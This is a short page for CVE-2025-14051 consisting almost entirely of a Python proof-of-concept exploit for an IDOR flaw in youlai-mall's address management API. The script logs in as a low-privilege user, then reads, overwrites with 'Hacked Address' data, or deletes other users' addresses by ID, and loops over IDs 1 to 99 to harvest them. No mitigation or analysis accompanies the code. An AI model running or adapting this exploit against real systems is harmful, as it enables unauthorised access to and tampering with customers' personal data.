CVE-2025-14051 youlai-mall 地址管理IDOR漏洞

import requests import json # CVE-2025-14051 PoC - youlai-mall IDOR in Address Management # Target: youlaitech youlai-mall 1.0.0/2.0.0 BASE_URL = "http://target-server.com" TARGET_API = "/mall-ums/app-api/v1/addresses" # Authentication (low privilege account required) LOGIN_URL = f"{BASE_URL}/mall-ums/app-api/v1/login" login_data = { "username": "[email protected]", "password": "password123" } def get_auth_token(): """Obtain authentication token""" response = requests.post(LOGIN_URL, json=login_data) if response.status_code == 200: return response.json().get("data", {}).get("token") return None def exploit_get_address(token, target_address_id): """IDOR - Read other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/getById" params = {"id": target_address_id} response = requests.get(url, headers=headers, params=params) print(f"[*] Get Address ID {target_address_id}: {response.json()}") return response.json() def exploit_update_address(token, target_address_id): """IDOR - Modify other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/updateAddress" payload = { "id": target_address_id, "address": "Hacked Address", "phone": "1234567890", "consignee": "Attacker" } response = requests.put(url, headers=headers, json=payload) print(f"[*] Update Address ID {target_address_id}: {response.status_code}") return response def exploit_delete_address(token, target_address_id): """IDOR - Delete other user's address""" headers = {"Authorization": f"Bearer {token}"} url = f"{BASE_URL}{TARGET_API}/deleteAddress" params = {"id": target_address_id} response = requests.delete(url, headers=headers, params=params) print(f"[*] Delete Address ID {target_address_id}: {response.status_code}") return response if __name__ == "__main__": token = get_auth_token() if token: # Enumerate and exploit address IDs for addr_id in range(1, 100): exploit_get_address(token, addr_id)